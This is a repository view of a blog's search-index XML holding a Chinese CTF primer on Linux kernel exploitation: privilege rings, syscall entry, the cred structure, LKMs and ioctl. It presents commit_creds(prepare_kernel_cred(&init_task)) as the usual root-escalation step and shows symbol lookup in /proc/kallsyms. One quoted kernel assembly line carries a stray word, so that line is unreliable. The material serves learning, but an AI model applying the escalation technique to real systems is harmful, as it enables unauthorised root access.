-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlocal-search.xml
More file actions
504 lines (242 loc) · 519 KB
/
local-search.xml
File metadata and controls
504 lines (242 loc) · 519 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Kernel Pwn:基础知识</title>
<link href="/2026/04/11/kernel-basic-knowledge/"/>
<url>/2026/04/11/kernel-basic-knowledge/</url>
<content type="html"><![CDATA[<h2 id="Operating-System-Kernel"><a href="#Operating-System-Kernel" class="headerlink" title="Operating System Kernel"></a>Operating System Kernel</h2><p>操作系统内核(Operation System Kernel)本质上也是一种软件,可以看作是普通应用程式与硬件之间的一层中间层,其主要作用便是调度系统资源、控制 IO 设备、操作网络与文件系统等,并为上层应用提供便捷、抽象的应用接口。</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/Kernel_Layout.svg"></p><p>操作系统内核实际上是我们抽象出来的一个概念,本质上与用户进程一般无二,都是位于物理内存中的代码 + 数据,不同之处在于当 CPU 执行操作系统内核代码时通常运行在高权限,拥有着完全的硬件访问能力,而 CPU 在执行用户态代码时通常运行在低权限环境,只拥有部分 / 缺失硬件访问能力。</p><p>这两种不同权限的运行状态实际上是通过硬件来实现的,因此这里我们开始引入新的一个概念——<strong>分级保护环</strong>。</p><h2 id="hierarchical-protection-domains"><a href="#hierarchical-protection-domains" class="headerlink" title="hierarchical protection domains"></a>hierarchical protection domains</h2><p><strong>分级保护域</strong>(hierarchical protection domains),又被称作保护环,简称 Rings ,是一种将计算机不同的资源划分至不同权限的模型。</p><p>在一些硬件或者微代码级别上提供不同特权态模式的 CPU 架构上,保护环通常都是硬件强制的。Rings 是从最高特权级(通常被叫作 0 级)到最低特权级(通常对应最大的数字)排列的。</p><p>Intel 的 CPU 将权限分为四个等级:Ring0、Ring1、Ring2、Ring3,权限等级依次降低,现代操作系统模型中我们通常只会使用 ring0 和 ring3,对应操作系统内核与用户进程,即 CPU 在执行用户进程代码时处在 ring3 下。</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/ring_model.png"></p><p>现在我们给【用户态】与【内核态】这两个概念下定义:</p><ul><li>用户态:CPU 运行在 ring3 + 用户进程运行环境上下文。</li><li>内核态:CPU 运行在 ring0 + 内核代码运行环境上下文。</li></ul><h2 id="状态切换"><a href="#状态切换" class="headerlink" title="状态切换"></a>状态切换</h2><p>CPU 在不同的特权级间进行切换主要有两个途径:</p><ul><li>中断与异常(interrupt & exception):当 CPU 收到一个中断 / 异常时,会切换到 ring0,并根据中断描述符表索引对应的中断处理代码以执行。</li><li>特权级相关指令:当 CPU 运行这些指令时会发生运行状态的改变,例如 iret 指令(ring0->ring3)或是 sysenter 指令(ring3->ring0)。</li></ul><p>基于这些特权级切换的方式,现代操作系统的开发者包装出了系统调用(syscall),作为由 “用户态” 切换到 “内核态” 的入口,从而执行内核代码来完成用户进程所需的一些功能。当用户进程想要请求更高权限的服务时,便需要通过由系统提供的应用接口,使用系统调用以陷入内核态,再由操作系统完成请求。</p><h3 id="user-space-to-kernel-space-(系统调用)"><a href="#user-space-to-kernel-space-(系统调用)" class="headerlink" title="user space to kernel space (系统调用)"></a>user space to kernel space (系统调用)</h3><p>当发生 <code>系统调用</code>,<code>产生异常</code>,<code>外设产生中断</code> 等事件时,会发生用户态到内核态的切换,进入到内核相对应的处理程序中进行处理。</p><p>系统调用是内核与用户通信的直接接口,因此我们主要关注用户空间比较常用的系统调用这一行为,其具体的过程为:</p><blockquote><p>注意:当系统调用指令执行后,CPU 便进入内核态,以下操作在内核态完成。</p></blockquote><ol><li>通过 <code>swapgs</code> 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。</li><li>将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。</li><li>通过 push 保存各寄存器值,具体的 <a href="http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S">代码</a> 如下:</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs c"> ENTRY(entry_SYSCALL_64)<br> <span class="hljs-comment">/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */</span><br> SWAPGS_UNSAFE_STACK<br><br> <span class="hljs-comment">/* 保存栈值,并设置内核栈 */</span><br> movq %rsp, PER_CPU_VAR(rsp_scratch)<br> movq <span class="hljs-title function_">PER_CPU_VAR</span><span class="hljs-params">(cpu_current_top_of_stack)</span>, %rsp<br><br><br><span class="hljs-comment">/* 通过push保存寄存器值,形成一个pt_regs结构 */</span><br><span class="hljs-comment">/* Construct struct pt_regs on stack */</span><br>pushq $__USER_DS <span class="hljs-comment">/* pt_regs->ss */</span><br>pushq <span class="hljs-title function_">PER_CPU_VAR</span><span class="hljs-params">(rsp_scratch)</span> <span class="hljs-comment">/* pt_regs->sp */</span><br>pushq %r11 <span class="hljs-comment">/* pt_regs->flags */</span><br>pushq $__USER_CS <span class="hljs-comment">/* pt_regs->cs */</span><br>pushq %rcx <span class="hljs-comment">/* pt_regs->ip */</span><br>pushq %rax <span class="hljs-comment">/* pt_regs->orig_ax */</span><br>pushq %rdi <span class="hljs-comment">/* pt_regs->di */</span><br>pushq %rsi <span class="hljs-comment">/* pt_regs->si */</span><br>pushq %rdx <span class="hljs-comment">/* pt_regs->dx */</span><br>pushq %rcx tuichu <span class="hljs-comment">/* pt_regs->cx */</span><br>pushq $-ENOSYS <span class="hljs-comment">/* pt_regs->ax */</span><br>pushq %r8 <span class="hljs-comment">/* pt_regs->r8 */</span><br>pushq %r9 <span class="hljs-comment">/* pt_regs->r9 */</span><br>pushq %r10 <span class="hljs-comment">/* pt_regs->r10 */</span><br>pushq %r11 <span class="hljs-comment">/* pt_regs->r11 */</span><br>sub $<span class="hljs-params">(<span class="hljs-number">6</span>*<span class="hljs-number">8</span>)</span>, %rsp <span class="hljs-comment">/* pt_regs->bp, bx, r12-15 not saved */</span><br></code></pre></td></tr></table></figure><ol start="4"><li><p>通过汇编指令判断是否为 <code>x32_abi</code>。</p></li><li><p>通过系统调用号,跳到全局变量 <code>sys_call_table</code> 相应位置继续执行系统调用。</p></li></ol><blockquote><p>补基础</p><p>swapgs 是一条汇编指令,用于 x86-64 架构(即 64 位 x86 处理器),主要出现在操作系统内核的低级代码中,尤其是中断/异常处理、系统调用入口/出口处,作用是交换 <code>GS.base</code> 与 <code>IA32_KERNEL_GS_BASE</code> 的值。</p><ul><li>GS 是一个段寄存器,在 64 位模式下,主要用于基地址(GS.base)</li><li>IA32_KERNEL_GS_BASE 是一个特殊的 MSR(模型特定寄存器)<br>简单来说:<br>执行前,GS.base 指向用户态的某块数据(比如线程环境块 TEB)。<br>执行后,GS.base 指向内核态的某块数据(比如每个 CPU 的 per-CPU 数据区)。</li></ul><p>关于为什么需要 swapgs 有以下原因<br>在 x86-64 Linux/Windows 内核中:<br>用户态:GS.base 指向用户数据结构(如 Windows 的 TEB,Linux 的 <code>%fs</code> 或 <code>%gs</code> 相关)。<br>内核态:需要快速访问当前 CPU 的 per-CPU 数据结构(如当前进程、中断栈等)。<br><strong>由于用户态和内核态共用同一个 GS 寄存器(硬件上下文),直接在内核态使用 GS 会访问到用户数据,不安全且不方便。</strong></p><p>相关注意事项:</p><ul><li>必须成对使用:进内核一次 swapgs,出内核一次 swapgs,若不成对,返回用户态时会 GS 错乱,导致系统崩溃或权限漏洞。</li><li>NMI / 双重错误等特殊情况需要小心,避免嵌套时再次 swapgs。</li><li>swapgs 只影响 GS.base,不影响 GS 的其它属性(如 limit 在 64 位模式大多忽略)。</li></ul><p>小总结<br><strong>swapgs 是 x86-64 内核用来在用户态和内核态之间快速切换 GS.base 基址的指令,主要用于 per-CPU 数据访问。</strong></p><p><em>基础好像越补愈发觉自己是只蠢猪咋啥都不知道(笑)</em></p></blockquote><h3 id="kernel-space-to-user-space"><a href="#kernel-space-to-user-space" class="headerlink" title="kernel space to user space"></a>kernel space to user space</h3><p>退出时的流程如下:</p><ol><li>通过 <code>swapgs</code> 恢复 GS 值。</li><li>通过 <code>sysretq</code> 或者 <code>iretq</code> 恢复到用户控件继续执行。如果使用 <code>iretq</code> 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)。</li></ol><h2 id="虚拟内存空间"><a href="#虚拟内存空间" class="headerlink" title="虚拟内存空间"></a>虚拟内存空间</h2><p>在现代操作系统中,计算机的虚拟内存地址空间通常被分为两块——供用户进程使用的用户空间(user space)与供操作系统内核使用的内核空间(kernel space),对于 Linux 而言,通常位于较高虚拟地址的虚拟内存空间被分配给内核使用,而位于较低虚拟地址的虚拟内存空间责备分配给用户进程使用。</p><p>32 位下的虚拟内存空间布局如下:</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/mm_layout_32.png"></p><p>64 位下的虚拟内存空间布局如下:</p><p><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/mm_layout_64.png"></p><h2 id="进程权限管理"><a href="#进程权限管理" class="headerlink" title="进程权限管理"></a>进程权限管理</h2><p>内核 kernel 调度着一切的系统资源,并为用户应用程式提供运行环境,相应地,应用程式的权限也都是由 kernel 进行管理的。</p><h3 id="进程描述符(process-descriptor)"><a href="#进程描述符(process-descriptor)" class="headerlink" title="进程描述符(process descriptor)"></a>进程描述符(process descriptor)</h3><p>在内核中使用结构体 <code>task_struct</code> 表示一个进程,该结构体定义于内核源码 <code>include/linux/sched.h</code> 中,代码比较长就不在这里贴出了。</p><p>一个进程描述符的结构应当如下图所示:<br><img src="https://ctf-wiki.org/pwn/linux/kernel-mode/figure/task_struct.png"></p><h3 id="进程权限凭证(credential)"><a href="#进程权限凭证(credential)" class="headerlink" title="进程权限凭证(credential)"></a>进程权限凭证(credential)</h3><p>注意到 <code>task_struct</code> 的源码中有如下代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/* Process credentials: */</span><br><br><span class="hljs-comment">/* Tracer's credentials at attach: */</span><br><span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">cred</span> __<span class="hljs-title">rcu</span> *<span class="hljs-title">ptracer_cred</span>;</span><br><br><span class="hljs-comment">/* Objective and real subjective task credentials (COW): */</span><br><span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">cred</span> __<span class="hljs-title">rcu</span> *<span class="hljs-title">real_cred</span>;</span><br><br><span class="hljs-comment">/* Effective (overridable) subjective task credentials (COW): */</span><br><span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">cred</span> __<span class="hljs-title">rcu</span> *<span class="hljs-title">cred</span>;</span><br></code></pre></td></tr></table></figure><p>结构体 <code>cred</code> 用以管理一个进程的权限,该结构体定义于内核源码 <code>include/linux/cred.h</code> 中,如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">/*</span><br><span class="hljs-comment"> * The security context of a task</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * The parts of the context break down into two categories:</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * (1) The objective context of a task. These parts are used when some other</span><br><span class="hljs-comment"> * task is attempting to affect this one.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * (2) The subjective context. These details are used when the task is acting</span><br><span class="hljs-comment"> * upon another object, be that a file, a task, a key or whatever.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * Note that some members of this structure belong to both categories - the</span><br><span class="hljs-comment"> * LSM security pointer for instance.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * A task has two security pointers. task->real_cred points to the objective</span><br><span class="hljs-comment"> * context that defines that task's actual details. The objective part of this</span><br><span class="hljs-comment"> * context is used whenever that task is acted upon.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> * task->cred points to the subjective context that defines the details of how</span><br><span class="hljs-comment"> * that task is going to act upon another object. This may be overridden</span><br><span class="hljs-comment"> * temporarily to point to another security context, but normally points to the</span><br><span class="hljs-comment"> * same context as task->real_cred.</span><br><span class="hljs-comment"> */</span><br><span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">cred</span> {</span><br> <span class="hljs-type">atomic_long_t</span> usage;<br> <span class="hljs-type">kuid_t</span> uid; <span class="hljs-comment">/* real UID of the task */</span><br> <span class="hljs-type">kgid_t</span> gid; <span class="hljs-comment">/* real GID of the task */</span><br> <span class="hljs-type">kuid_t</span> suid; <span class="hljs-comment">/* saved UID of the task */</span><br> <span class="hljs-type">kgid_t</span> sgid; <span class="hljs-comment">/* saved GID of the task */</span><br> <span class="hljs-type">kuid_t</span> euid; <span class="hljs-comment">/* effective UID of the task */</span><br> <span class="hljs-type">kgid_t</span> egid; <span class="hljs-comment">/* effective GID of the task */</span><br> <span class="hljs-type">kuid_t</span> fsuid; <span class="hljs-comment">/* UID for VFS ops */</span><br> <span class="hljs-type">kgid_t</span> fsgid; <span class="hljs-comment">/* GID for VFS ops */</span><br> <span class="hljs-type">unsigned</span> securebits; <span class="hljs-comment">/* SUID-less security management */</span><br> <span class="hljs-type">kernel_cap_t</span> cap_inheritable; <span class="hljs-comment">/* caps our children can inherit */</span><br> <span class="hljs-type">kernel_cap_t</span> cap_permitted; <span class="hljs-comment">/* caps we're permitted */</span><br> <span class="hljs-type">kernel_cap_t</span> cap_effective; <span class="hljs-comment">/* caps we can actually use */</span><br> <span class="hljs-type">kernel_cap_t</span> cap_bset; <span class="hljs-comment">/* capability bounding set */</span><br> <span class="hljs-type">kernel_cap_t</span> cap_ambient; <span class="hljs-comment">/* Ambient capability set */</span><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> CONFIG_KEYS</span><br> <span class="hljs-type">unsigned</span> <span class="hljs-type">char</span> jit_keyring; <span class="hljs-comment">/* default keyring to attach requested</span><br><span class="hljs-comment"> * keys to */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">key</span> *<span class="hljs-title">session_keyring</span>;</span> <span class="hljs-comment">/* keyring inherited over fork */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">key</span> *<span class="hljs-title">process_keyring</span>;</span> <span class="hljs-comment">/* keyring private to this process */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">key</span> *<span class="hljs-title">thread_keyring</span>;</span> <span class="hljs-comment">/* keyring private to this thread */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">key</span> *<span class="hljs-title">request_key_auth</span>;</span> <span class="hljs-comment">/* assumed request_key authority */</span><br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> CONFIG_SECURITY</span><br> <span class="hljs-type">void</span> *security; <span class="hljs-comment">/* LSM security */</span><br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">user_struct</span> *<span class="hljs-title">user</span>;</span> <span class="hljs-comment">/* real user ID subscription */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">user_namespace</span> *<span class="hljs-title">user_ns</span>;</span> <span class="hljs-comment">/* user_ns the caps and keyrings are relative to. */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">ucounts</span> *<span class="hljs-title">ucounts</span>;</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">group_info</span> *<span class="hljs-title">group_info</span>;</span> <span class="hljs-comment">/* supplementary groups for euid/fsgid */</span><br> <span class="hljs-comment">/* RCU deletion */</span><br> <span class="hljs-class"><span class="hljs-keyword">union</span> {</span><br> <span class="hljs-type">int</span> non_rcu; <span class="hljs-comment">/* Can we skip RCU deletion? */</span><br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">rcu_head</span> <span class="hljs-title">rcu</span>;</span> <span class="hljs-comment">/* RCU deletion hook */</span><br> };<br>} __randomize_layout;<br></code></pre></td></tr></table></figure><p>一个 cred 结构体中记载了一个进程四种不同的用户 ID,在通常情况下这几个 ID 应当都是相同的:</p><ol><li>真实用户 ID(real UID):标识一个进程启动时的用户 ID</li><li>保存用户 ID(saved UID):标识一个进程最初的有效用户 ID</li><li>有效用户 ID(effective UID):标识一个进程正在运行时所属的用户 ID,一个进程在运行途中是可以改变自己所属用户的,因而权限机制也是通过有效用户 ID 进行认证的,内核通过 euid 来进行特权判断;为了防止用户一直使用高权限,当任务完成之后,euid 会与 suid 进行交换,恢复进程的有效权限</li><li>文件系统用户 ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户 ID</li></ol><p>用户组 ID 同样分为四个:真实组 ID、保存组 ID、有效组 ID、文件系统组 ID,与用户 ID 是类似的,这里便不再赘叙。</p><h3 id="进程权限改变"><a href="#进程权限改变" class="headerlink" title="进程权限改变"></a>进程权限改变</h3><p>前面我们讲到,一个进程的权限是由位于内核空间的 cred 结构体进行管理的,我们可以做出这样的设想:只要改变一个进程的 cred 结构体,就能改变其执行权限。</p><p>在内核空间有如下两个函数,都位于 <code>kernel/cred.c</code> 中:</p><ul><li><code> struct cred* prepare_kernel_cred(struct task_struct* daemon)</code>:该函数用以拷贝一个进程的 cred 结构体,并返回一个新的 cred 结构体,需要注意的是 daemon 参数应为有效的进程描述符地址。</li><li><code>int commit_creds(struct cred *new)</code>:该函数用以将一个新的 cred 结构体应用到进程。</li></ul><h2 id="Loadable-Kernel-Modules-LKMs"><a href="#Loadable-Kernel-Modules-LKMs" class="headerlink" title="Loadable Kernel Modules(LKMs)"></a>Loadable Kernel Modules(LKMs)</h2><p>Linux Kernel 采用的是宏内核架构,一切的系统服务都需要由内核来提供,虽然效率较高,但是缺乏可扩展性与可维护性,同时内核需要装载很多可能用到的服务,但这些服务最终可能未必会用到,还会占据大量内存空间,同时新服务的提供往往意味着要重新编译整个内核。</p><p>综合以上考虑,<strong>可装载内核模块</strong>(Loadable Kernel Modules,简称 LKMs)出现了,位于内核空间的 LKMs 可以提供新的系统调用或其他服务,同时 LKMs 可以像积木一样被装载入内核 / 从内核中卸载,大大提高了 kernel 的可拓展性与可维护性。</p><p>常见的 LKMs 包括:</p><ul><li>驱动程序(Device drivers)<ul><li>设备驱动</li><li>文件系统驱动</li><li>…</li></ul></li><li>内核扩展模块 (modules)</li></ul><p>LKMs 的文件格式和用户态的可执行程序相同,Linux 下为 ELF,Windows 下为 exe/dll,mac 下为 MACH-O,因此我们可以用 IDA 等工具来分析内核模块。</p><p>模块可以被单独编译,但不能单独运行。它在运行时被链接到内核作为内核的一部分在内核空间运行,这与运行在用户控件的进程不同。</p><p>模块通常用来实现一种文件系统、一个驱动程序或者其他内核上层的功能。</p><blockquote><p>Linux 内核之所以提供模块机制,是因为它本身是一个单内核 (monolithic kernel)。单内核的优点是效率高,因为所有的内容都集合在一起,但缺点是可扩展性和可维护性相对较差,模块机制就是为了弥补这一缺陷。</p></blockquote><h3 id="相关指令"><a href="#相关指令" class="headerlink" title="相关指令"></a>相关指令</h3><ul><li><strong>insmod</strong>: 讲指定模块加载到内核中</li><li><strong>rmmod</strong>: 从内核中卸载指定模块</li><li><strong>lsmod</strong>: 列出已经加载的模块</li><li><strong>modprobe</strong>: 添加或删除模块,modprobe 在加载模块时会查找依赖关系</li></ul><blockquote><p>大多数 CTF 中的 kernel vulnerability 也出现在 LKM 中。</p></blockquote><h2 id="内核交互"><a href="#内核交互" class="headerlink" title="内核交互"></a>内核交互</h2><h3 id="系统调用简介"><a href="#系统调用简介" class="headerlink" title="系统调用简介"></a>系统调用简介</h3><p>系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装(read 和 write))。</p><blockquote><p>在 <code>/usr/include/x86_64-linux-gnu/asm/unistd_64.h</code> 和 <code>/usr/include/x86_64-linux-gnu/asm/unistd_32.h</code> 分别可以查看 64 位和 32 位的系统调用号。</p><p>同时推荐一个很好用的网站 <a href="https://syscalls.kernelgrok.com/">Linux Syscall Reference</a>,可以查阅 32 位系统调用对应的寄存器含义以及源码。64 位系统调用可以查看 <a href="https://syscalls64.paolostivanin.com/">Linux Syscall64 Reference</a></p></blockquote><h3 id="系统调用:ioctl"><a href="#系统调用:ioctl" class="headerlink" title="系统调用:ioctl"></a>系统调用:ioctl</h3><p>在 <code>*NIX</code> 中一切都可以被视为文件,因而一切都可以以访问文件的方式进行操作,为了方便,Linux 定义了系统调用 <code>ioctl</code> 供进程与设备之间进行通信。</p><p><code>ioctl</code> 是一个专用于设备输入输出操作的一个系统调用,其调用方式如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">ioctl</span><span class="hljs-params">(<span class="hljs-type">int</span> fd, <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> request, ...)</span><br></code></pre></td></tr></table></figure><p>其第一个参数为打开设备 (open) 返回的文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。</p><p>对于一个提供了 ioctl 通信方式的设备而言,我们可以通过其文件描述符、使用不同的请求码及其他请求参数通过 ioctl 系统调用完成不同的对设备的 I/O 操作。</p><blockquote><p>使用 ioctl 进行通信的原因:</p><p>操作系统提供了内核访问标准外部设备的系统调用,因为大多数硬件设备只能够在内核空间内直接寻址, 但是当访问非标准硬件设备这些系统调用显得不合适, 有时候用户模式可能需要直接访问设备。</p><p>比如,一个系统管理员可能要修改网卡的配置。现代操作系统提供了各种各样设备的支持,有一些设备可能没有被内核设计者考虑到,如此一来提供一个这样的系统调用来使用设备就变得不可能了。</p><p>为了解决这个问题,内核被设计成可扩展的,可以加入一个称为设备驱动的模块,驱动的代码允许在内核空间运行而且可以对设备直接寻址。一个 Ioctl 接口是一个独立的系统调用,通过它用户空间可以跟设备驱动沟通。对设备驱动的请求是一个以设备和请求号码为参数的 Ioctl 调用,如此内核就允许用户空间访问设备驱动进而访问设备而不需要了解具体的设备细节,同时也不需要一大堆针对不同设备的系统调用。</p></blockquote><h2 id="常见内核态函数"><a href="#常见内核态函数" class="headerlink" title="常见内核态函数"></a>常见内核态函数</h2><p>在内核当中我们无法使用用户态的 C 库中的函数,内核自己有着对应的各种函数,其中常用的功能函数如下:</p><ul><li>printf() -> printk(),但需要注意的是 printk() 不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 <code>dmesg</code> 查看效果</li><li>memcpy() -> copy_from_user()/copy_to_user()<ul><li>copy_from_user() 实现了将用户空间的数据传送到内核空间</li><li>copy_to_user() 实现了将内核空间的数据传送到用户空间</li></ul></li><li>malloc() -> kmalloc(),内核态的内存分配函数,和 malloc() 相似,但使用的是 slab/slub 分配器</li><li>free() -> kfree(),同 kmalloc()</li></ul><p>此外,kernel 管理进程,因此 kernel 也记录了进程的权限。kernel 中有两个可以方便的改变权限的函数:</p><ul><li>int commit_creds(struct cred *new)</li><li>struct cred* prepare_kernel_cred(struct task_struct* daemon)</li></ul><p>从函数名也可以看出,执行 <code>commit_creds(prepare_kernel_cred(&init_task))</code> 即可获得 root 权限,即拷贝 init 进程的 cred 作为当前进程的新的 credentials。</p><blockquote><p>更多关于 prepare_kernel_cred 的信息可以参考<a href="https://elixir.bootlin.com/linux/v4.6/source/kernel/cred.c#L594">https://elixir.bootlin.com/linux/v4.6/source/kernel/cred.c#L594</a></p></blockquote><p>执行 <code>commit_creds(prepare_kernel_cred(&init_task))</code> 也是最常用的提权手段,这些函数与变量的地址都可以在 <code>/proc/kallsyms</code> 中查看(较老的内核版本中是 <code>/proc/ksyms</code>),该文件的内容通常需要 root 权限才能正确查看。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs shell"><span class="hljs-meta prompt_">$ </span><span class="language-bash"><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">cat</span> /proc/kallsyms | grep <span class="hljs-string">"T commit_creds"</span></span><br>ffffffffbb11ab20 T commit_creds<br><span class="hljs-meta prompt_">$ </span><span class="language-bash"><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">cat</span> /proc/kallsyms | grep <span class="hljs-string">"T prepare_kernel_cred"</span></span><br>ffffffffbb11b080 T prepare_kernel_cred<br><span class="hljs-meta prompt_">$ </span><span class="language-bash"><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">cat</span> /proc/kallsyms | grep <span class="hljs-string">"D init_cred"</span></span><br>ffffffffbce58840 D init_cred<br></code></pre></td></tr></table></figure><h2 id="Mitigation"><a href="#Mitigation" class="headerlink" title="Mitigation"></a>Mitigation</h2><p>与一般的程序相同,Linux Kernel 同样有着各种各样的保护机制。</p><blockquote><p>canary, dep, PIE, RELRO 等保护与用户态原理和作用相同。</p></blockquote><h3 id="通用保护机制"><a href="#通用保护机制" class="headerlink" title="通用保护机制"></a>通用保护机制</h3><h4 id="KASLR"><a href="#KASLR" class="headerlink" title="KASLR"></a>KASLR</h4><p>KASLR 即内核空间地址随机化(kernel address space layout 